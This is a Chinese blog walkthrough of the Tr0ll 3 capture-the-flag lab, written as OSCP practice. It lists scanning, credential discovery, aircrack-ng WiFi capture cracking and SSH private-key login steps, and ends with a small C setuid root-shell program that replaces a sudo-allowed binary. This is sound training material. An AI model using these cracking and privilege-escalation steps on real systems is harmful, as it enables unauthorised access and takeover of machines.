OSCP练习：vulhub靶机TR0LL 3攻略

Forest深林

已于 2022-10-25 14:53:19 修改

阅读量395

点赞数 1

分类专栏： OSCP练习文章标签：服务器安全 web安全靶机渗透测试

于 2022-10-25 14:52:55 首次发布

本文链接：https://blog.csdn.net/weixin_47311099/article/details/127513197

版权

OSCP练习专栏收录该内容

6 篇文章 2 订阅

订阅专栏

nmap -sC -sV 192.168.210.211
发现22端口
在这里插入图片描述

登录ssh 账密：start here （下载页面及登录页面提示）
在这里插入图片描述

发现一个网址

看起来没啥用

发现第二个账号密码，
step2:Password1! 登不上去没啥用
在这里插入图片描述

find / -type f -perm 0777 2>/dev/null find一下又执行权限的文件
发现一个cap包和一个txt
在这里插入图片描述

txt文件长得像一个字典

把cap包和txt下载到kali，并打开cap包查看内容

wireshark wytshadow.cap
在这里插入图片描述
发现协议都为802.11 判定为wifi流量包

使用aircrack-ng工具和获取到的字典w gold_star.txt 来爆破流量包
aircrack-ng -w gold_star.txt wytshadow.cap
在这里插入图片描述

获得密码:gaUoCe34t1
尝试使用 wytshadow:gaUoCe34t1登录
家目录下发现一个可执行文件权限为4777

执行后发现一直输出：iM Cr@zY L1k3 AAA LYNX

LYNX是一个纯文本网页浏览器工具
sudo -l 发现本用户有启动nginx权限
在这里插入图片描述

查看nginx配置文件

发现nginx端口为8080，且只有ua为Lynx能够访问

sudo /usr/sbin/service nginx start 启动nginx

lynx http://192.168.210.211:8080
得到账密genphlux:HF9nd0cR!

成功登录

发现两个文件maleus xlogin

发现maleus为私钥，尝试ssh私钥登录
在这里插入图片描述

下载私钥到kali，更改私钥权限为600
登录成功
!

查看.viminfo文件，发现密码B^slc8I$

查看sudo权限，发现dont_even_bother文件可执行且sudo执行有root用户权限

但原程序执行结果没什么用

将代码写入新文件dont_even_bother.c
int main (void){
setresuid(0,0,0);
system(“/bin/sh”);
}
编译程序gcc dont_even_bother.c -o dont_even_bother
在这里插入图片描述

执行程序，提权成功，拿到flag

**在这里插入图片描述**